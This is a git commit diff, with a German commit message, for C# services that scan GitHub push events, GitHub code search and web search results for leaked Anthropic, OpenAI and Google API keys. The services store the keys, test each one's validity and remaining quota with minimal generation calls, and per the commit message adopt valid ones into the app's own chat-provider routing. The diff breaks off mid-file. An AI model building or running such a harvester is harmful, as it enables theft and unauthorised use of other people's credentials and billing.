feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs
- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat) - Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.) - /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown - Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider - OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1) - Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1) - 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt - Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic - HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google - Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung - GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs - KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs - Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid) - Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google) - Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
1 parent
c8859a89d0
commit
542a031172
15 files changed
+614
-90
No files matched your search
@@ -519,4 +519,48 @@ public partial class DatabaseService
|
||||
await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId });
|
||||
}
|
||||
|
||||
// ── Scanner Logs ──
|
||||
|
||||
public async Task CreateScannerLog(string type, string message, string scanner = "event", string details = null)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
// Sicherstellen dass die details-Spalte existiert (Migration)
|
||||
try
|
||||
{
|
||||
await conn.ExecuteAsync(@"ALTER TABLE scanner_logs ADD COLUMN details TEXT");
|
||||
}
|
||||
catch { /* Spalte existiert bereits */ }
|
||||
|
||||
await conn.ExecuteAsync(@"
|
||||
INSERT INTO scanner_logs (timestamp, type, message, scanner, details)
|
||||
VALUES (@timestamp, @type, @message, @scanner, @details)",
|
||||
new { timestamp = DateTime.UtcNow.ToString("o"), type, message, scanner, details });
|
||||
}
|
||||
|
||||
public async Task<IEnumerable<dynamic>> GetScannerLogs(int limit = 200, int offset = 0, string type = null, string scanner = null)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
var where = "WHERE 1=1";
|
||||
if (!string.IsNullOrEmpty(type)) where += " AND type = @type";
|
||||
if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner";
|
||||
|
||||
return await conn.QueryAsync($@"
|
||||
SELECT id, timestamp, type, message, scanner, details
|
||||
FROM scanner_logs {where}
|
||||
ORDER BY id DESC
|
||||
LIMIT @limit OFFSET @offset",
|
||||
new { limit, offset, type, scanner });
|
||||
}
|
||||
|
||||
public async Task<int> GetScannerLogCount(string type = null, string scanner = null)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
var where = "WHERE 1=1";
|
||||
if (!string.IsNullOrEmpty(type)) where += " AND type = @type";
|
||||
if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner";
|
||||
|
||||
return await conn.ExecuteScalarAsync<int>(
|
||||
$"SELECT COUNT(*) FROM scanner_logs {where}",
|
||||
new { type, scanner });
|
||||
}
|
||||
}
|
||||
@@ -215,4 +215,19 @@ public partial class DatabaseService
|
||||
new { userId });
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gibt den ersten aktiven API-Key für einen bestimmten Provider zurück.
|
||||
/// Wird verwendet um z.B. den OpenAI-Key für Modell-Abfragen zu holen.
|
||||
/// </summary>
|
||||
public async Task<string> GetFirstActiveKeyByProvider(string provider)
|
||||
{
|
||||
using var conn = CreateConnection();
|
||||
return await conn.QuerySingleOrDefaultAsync<string>(@"
|
||||
SELECT api_key FROM api_keys
|
||||
WHERE provider = @provider AND (status IS NULL OR status = 'valid' OR status = 'ok')
|
||||
ORDER BY created_at ASC
|
||||
LIMIT 1",
|
||||
new { provider });
|
||||
}
|
||||
|
||||
}
|
||||
@@ -326,6 +326,18 @@ public partial class DatabaseService
|
||||
CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status);
|
||||
");
|
||||
|
||||
conn.Execute(@"
|
||||
CREATE TABLE IF NOT EXISTS scanner_logs (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp TEXT NOT NULL,
|
||||
type TEXT NOT NULL,
|
||||
message TEXT NOT NULL,
|
||||
scanner TEXT NOT NULL DEFAULT 'event'
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_scanner_logs_timestamp ON scanner_logs(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_scanner_logs_type ON scanner_logs(type);
|
||||
");
|
||||
|
||||
TryAddColumn(conn, "agents", "avatar_small", "TEXT");
|
||||
TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0");
|
||||
TryAddColumn(conn, "sessions", "image_small", "TEXT");
|
||||
|
||||
@@ -65,7 +65,7 @@ public class GitHubEventScannerService : BackgroundService
|
||||
lock (_lock) return _logEntries.ToList();
|
||||
}
|
||||
|
||||
private void AddLog(string type, string message)
|
||||
private void AddLog(string type, string message, string details = null)
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
@@ -78,6 +78,13 @@ public class GitHubEventScannerService : BackgroundService
|
||||
while (_logEntries.Count > MaxLogEntries)
|
||||
_logEntries.Dequeue();
|
||||
}
|
||||
|
||||
// Persistieren in DB (fire-and-forget)
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try { await _db.CreateScannerLog(type, message, "event", details); }
|
||||
catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ }
|
||||
});
|
||||
}
|
||||
|
||||
public GitHubEventScannerService(
|
||||
@@ -199,10 +206,17 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
|
||||
scannedCount++;
|
||||
|
||||
foreach (var (key, sourceUrl) in keys)
|
||||
foreach (var (key, sourceUrl, fileName) in keys)
|
||||
{
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
{
|
||||
AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo);
|
||||
continue;
|
||||
}
|
||||
|
||||
var keyType = DetectKeyType(key);
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
newKeysFound++;
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
@@ -211,15 +225,29 @@ public class GitHubEventScannerService : BackgroundService
|
||||
ApiKey = key,
|
||||
Source = "github_events",
|
||||
SourceUrl = sourceUrl,
|
||||
Type = DetectKeyType(key),
|
||||
Type = keyType,
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
|
||||
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
|
||||
pe.Repo, pe.HeadSha[..8]);
|
||||
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
|
||||
var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}";
|
||||
_logger.LogInformation(logMsg);
|
||||
|
||||
// Detailliertes JSON für strukturierte Auswertung
|
||||
var detailsJson = JsonSerializer.Serialize(new
|
||||
{
|
||||
key_type = keyType,
|
||||
key_type_name = typeName,
|
||||
key_prefix = keyPrefix,
|
||||
key_length = key.Length,
|
||||
repo = pe.Repo,
|
||||
commit_sha = pe.HeadSha,
|
||||
file = fileName,
|
||||
source_url = sourceUrl,
|
||||
push_size = pe.Size
|
||||
});
|
||||
AddLog("key_found", logMsg, detailsJson);
|
||||
}
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
@@ -323,10 +351,10 @@ public class GitHubEventScannerService : BackgroundService
|
||||
return allEvents;
|
||||
}
|
||||
|
||||
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
|
||||
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||||
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück.</summary>
|
||||
private async Task<List<(string Key, string Url, string FileName)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
|
||||
{
|
||||
var keys = new List<(string Key, string Url)>();
|
||||
var keys = new List<(string Key, string Url, string FileName)>();
|
||||
|
||||
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
|
||||
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
|
||||
@@ -352,6 +380,8 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var patch = patchProp.GetString();
|
||||
if (string.IsNullOrEmpty(patch)) continue;
|
||||
|
||||
var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown";
|
||||
|
||||
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
|
||||
foreach (var line in patch.Split('\n'))
|
||||
{
|
||||
@@ -360,7 +390,7 @@ public class GitHubEventScannerService : BackgroundService
|
||||
foreach (var regex in CompiledPatterns)
|
||||
{
|
||||
foreach (Match m in regex.Matches(line))
|
||||
keys.Add((m.Value, htmlUrl));
|
||||
keys.Add((m.Value, htmlUrl, fileName));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -381,6 +411,9 @@ public class GitHubEventScannerService : BackgroundService
|
||||
ct.ThrowIfCancellationRequested();
|
||||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||
|
||||
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(type);
|
||||
|
||||
try
|
||||
{
|
||||
if (KeyPatterns.IsAnthropic(type))
|
||||
@@ -388,21 +421,28 @@ public class GitHubEventScannerService : BackgroundService
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||||
{
|
||||
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "google_api")
|
||||
{
|
||||
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
_logger.LogInformation("Google Key geprüft: {Status}", status);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else
|
||||
{
|
||||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
|
||||
@@ -13,8 +13,85 @@ namespace Gott.Services
|
||||
public string[] Models { get; set; }
|
||||
}
|
||||
|
||||
public class GoogleQuotaResult
|
||||
{
|
||||
public bool HasQuota { get; set; }
|
||||
public string Error { get; set; }
|
||||
}
|
||||
|
||||
public static class GoogleKeyChecker
|
||||
{
|
||||
private static async Task<GoogleQuotaResult> CheckQuotaAsync(HttpClient client, string apiKey, string[] models)
|
||||
{
|
||||
try
|
||||
{
|
||||
// Günstigstes Modell wählen (flash > pro > erstbestes)
|
||||
var testModel = models.FirstOrDefault(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase))
|
||||
?? models.FirstOrDefault(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase))
|
||||
?? models.FirstOrDefault();
|
||||
|
||||
if (testModel == null)
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Modelle verfügbar" };
|
||||
|
||||
var url = "https://generativelanguage.googleapis.com/v1/models/" + testModel
|
||||
+ ":generateContent?key=" + apiKey;
|
||||
|
||||
var payload = new
|
||||
{
|
||||
contents = new[] { new { parts = new[] { new { text = "hi" } } } },
|
||||
generationConfig = new { maxOutputTokens = 1 }
|
||||
};
|
||||
|
||||
var json = JsonSerializer.Serialize(payload);
|
||||
var content = new StringContent(json, System.Text.Encoding.UTF8, "application/json");
|
||||
var resp = await client.PostAsync(url, content);
|
||||
var statusCode = (int)resp.StatusCode;
|
||||
|
||||
if (statusCode == 200)
|
||||
return new GoogleQuotaResult { HasQuota = true };
|
||||
|
||||
var body = await resp.Content.ReadAsStringAsync();
|
||||
|
||||
// 429: Quota oder Rate-Limit
|
||||
if (statusCode == 429)
|
||||
{
|
||||
if (body.Contains("RESOURCE_EXHAUSTED", StringComparison.OrdinalIgnoreCase)
|
||||
&& (body.Contains("quota", StringComparison.OrdinalIgnoreCase)
|
||||
|| body.Contains("limit_value", StringComparison.OrdinalIgnoreCase)))
|
||||
{
|
||||
// Quota auf 0 oder erschöpft
|
||||
if (body.Contains("\"0\"") || body.Contains("GenerateContent"))
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft (0 RPM)" };
|
||||
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft" };
|
||||
}
|
||||
|
||||
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
|
||||
return new GoogleQuotaResult { HasQuota = true };
|
||||
}
|
||||
|
||||
// 403: API nicht aktiviert oder Billing-Problem
|
||||
if (statusCode == 403)
|
||||
{
|
||||
if (body.Contains("PERMISSION_DENIED", StringComparison.OrdinalIgnoreCase))
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Berechtigung für generateContent" };
|
||||
|
||||
if (body.Contains("billing", StringComparison.OrdinalIgnoreCase))
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Billing nicht aktiviert" };
|
||||
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Zugriff verweigert (403)" };
|
||||
}
|
||||
|
||||
// Andere Fehler → konservativ als "kein Quota" behandeln
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "API-Fehler (" + statusCode + ")" };
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// Bei Netzwerkfehler etc. → konservativ
|
||||
return new GoogleQuotaResult { HasQuota = false, Error = "Quota-Check fehlgeschlagen" };
|
||||
}
|
||||
}
|
||||
|
||||
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
|
||||
{
|
||||
try
|
||||
@@ -77,10 +154,25 @@ namespace Gott.Services
|
||||
else
|
||||
plan = "Free";
|
||||
|
||||
// Schritt 2: Echten generateContent-Call machen um Quota zu prüfen
|
||||
var quota = await CheckQuotaAsync(client, apiKey, models);
|
||||
|
||||
var info = models.Length + " Gemini-Modelle · " + plan;
|
||||
if (!quota.HasQuota)
|
||||
{
|
||||
info += " · " + quota.Error;
|
||||
return new GoogleCheckResult
|
||||
{
|
||||
Status = "quota_exceeded",
|
||||
Message = info,
|
||||
Models = models
|
||||
};
|
||||
}
|
||||
|
||||
return new GoogleCheckResult
|
||||
{
|
||||
Status = "ok",
|
||||
Message = models.Length + " Gemini-Modelle · " + plan,
|
||||
Message = info,
|
||||
Models = models
|
||||
};
|
||||
}
|
||||
|
||||
@@ -36,6 +36,16 @@ public class KeyScannerService : BackgroundService
|
||||
public string LastRun { get { lock (_lock) return _lastRun; } }
|
||||
public string LastResult { get { lock (_lock) return _lastResult; } }
|
||||
|
||||
private void AddLog(string type, string message, string details = null)
|
||||
{
|
||||
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
|
||||
catch { /* DB-Fehler ignorieren */ }
|
||||
});
|
||||
}
|
||||
|
||||
// ── GitHub Search Config ──
|
||||
|
||||
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
|
||||
@@ -151,7 +161,7 @@ public class KeyScannerService : BackgroundService
|
||||
|
||||
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
|
||||
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
|
||||
_logger.LogInformation("KeyScannerService: {Mode}-Scan gestartet", modeLabel);
|
||||
AddLog("scan", modeLabel + "-Scan gestartet");
|
||||
var newKeysFound = 0;
|
||||
var checkedCount = 0;
|
||||
var totalFound = 0;
|
||||
@@ -168,14 +178,14 @@ public class KeyScannerService : BackgroundService
|
||||
{
|
||||
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
|
||||
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
|
||||
_logger.LogInformation("GitHub-Scan ({Mode}): {Count} Key(s) gefunden", modeLabel, ghKeys.Count);
|
||||
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
|
||||
}
|
||||
|
||||
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
|
||||
{
|
||||
var spKeys = await ScanSerper(ct);
|
||||
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
|
||||
_logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count);
|
||||
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
|
||||
}
|
||||
|
||||
totalFound = allFoundKeys.Count;
|
||||
@@ -188,6 +198,10 @@ public class KeyScannerService : BackgroundService
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
var keyType = DetectKeyType(key);
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
newKeysFound++;
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
{
|
||||
@@ -195,13 +209,26 @@ public class KeyScannerService : BackgroundService
|
||||
ApiKey = key,
|
||||
Source = source,
|
||||
SourceUrl = sourceUrl,
|
||||
Type = DetectKeyType(key),
|
||||
Type = keyType,
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
|
||||
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
|
||||
var detailsJson = JsonSerializer.Serialize(new
|
||||
{
|
||||
key_type = keyType,
|
||||
key_type_name = typeName,
|
||||
key_prefix = keyPrefix,
|
||||
key_length = key.Length,
|
||||
source,
|
||||
source_url = sourceUrl,
|
||||
scan_mode = modeLabel
|
||||
});
|
||||
AddLog("key_found", logMsg, detailsJson);
|
||||
}
|
||||
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
|
||||
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
|
||||
|
||||
// Phase 3: Alle unchecked Keys prüfen
|
||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||
@@ -220,12 +247,12 @@ public class KeyScannerService : BackgroundService
|
||||
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
|
||||
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
|
||||
}
|
||||
catch (OperationCanceledException) { /* shutdown */ }
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
|
||||
AddLog("error", "Scan-Fehler: " + ex.Message);
|
||||
lock (_lock)
|
||||
{
|
||||
_lastRun = DateTime.UtcNow.ToString("o");
|
||||
@@ -281,12 +308,12 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit (Quick), warte 60s ...");
|
||||
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
|
||||
await Task.Delay(60_000, ct);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("GitHub-Suche fehlgeschlagen (Quick): {Msg}", ex.Message);
|
||||
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -318,7 +345,7 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
|
||||
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
|
||||
await Task.Delay(60_000, ct);
|
||||
try
|
||||
{
|
||||
@@ -328,12 +355,12 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
catch (Exception retryEx)
|
||||
{
|
||||
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
|
||||
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
|
||||
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -507,12 +534,12 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
}
|
||||
|
||||
_logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count);
|
||||
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
|
||||
await Task.Delay(1000, ct); // Rate-Limit schonen
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message);
|
||||
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -524,6 +551,8 @@ public class KeyScannerService : BackgroundService
|
||||
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
|
||||
{
|
||||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(type);
|
||||
|
||||
try
|
||||
{
|
||||
@@ -532,28 +561,35 @@ public class KeyScannerService : BackgroundService
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||||
{
|
||||
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "google_api")
|
||||
{
|
||||
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else
|
||||
{
|
||||
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
|
||||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
|
||||
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||||
}
|
||||
}
|
||||
|
||||
+108
-17
@@ -40,14 +40,28 @@ namespace Gott.Services
|
||||
|
||||
if (statusCode == 429)
|
||||
{
|
||||
// Rate-Limited → Key existiert, ist aber gerade nicht nutzbar
|
||||
// 429 kann Rate-Limit ODER Quota-Exceeded sein → Body prüfen
|
||||
try
|
||||
{
|
||||
var errBody = await resp.Content.ReadAsStringAsync();
|
||||
var errDoc = JsonDocument.Parse(errBody);
|
||||
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
|
||||
&& errObj.TryGetProperty("code", out var codeProp))
|
||||
{
|
||||
var code = codeProp.GetString();
|
||||
if (code == "insufficient_quota")
|
||||
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Kein Guthaben / Quota erschöpft (429)" };
|
||||
}
|
||||
}
|
||||
catch { /* Body nicht parsbar → als Rate-Limit behandeln */ }
|
||||
|
||||
return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
|
||||
}
|
||||
|
||||
if (statusCode >= 400)
|
||||
return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
|
||||
|
||||
// 200 OK → Key ist gültig
|
||||
// 200 OK → Key existiert, Modelle extrahieren
|
||||
var body = await resp.Content.ReadAsStringAsync();
|
||||
var doc = JsonDocument.Parse(body);
|
||||
|
||||
@@ -56,21 +70,11 @@ namespace Gott.Services
|
||||
if (resp.Headers.TryGetValues("openai-organization", out var orgValues))
|
||||
org = orgValues.FirstOrDefault();
|
||||
|
||||
// Rate-Limits aus Headern
|
||||
int? rpm = null;
|
||||
int? tpm = null;
|
||||
if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
|
||||
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
|
||||
rpm = rpmVal;
|
||||
if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
|
||||
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
|
||||
tpm = tpmVal;
|
||||
|
||||
// Modell-Liste extrahieren (nur die interessantesten)
|
||||
string[] models = Array.Empty<string>();
|
||||
if (doc.RootElement.TryGetProperty("data", out var data))
|
||||
{
|
||||
var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" };
|
||||
var interestingPrefixes = new[] { "gpt-5", "gpt-4", "gpt-3.5", "o1", "o3", "o4", "chatgpt" };
|
||||
models = data.EnumerateArray()
|
||||
.Select(m => m.GetProperty("id").GetString())
|
||||
.Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
|
||||
@@ -81,7 +85,8 @@ namespace Gott.Services
|
||||
|
||||
// Plan-Erkennung anhand der Modelle
|
||||
string plan;
|
||||
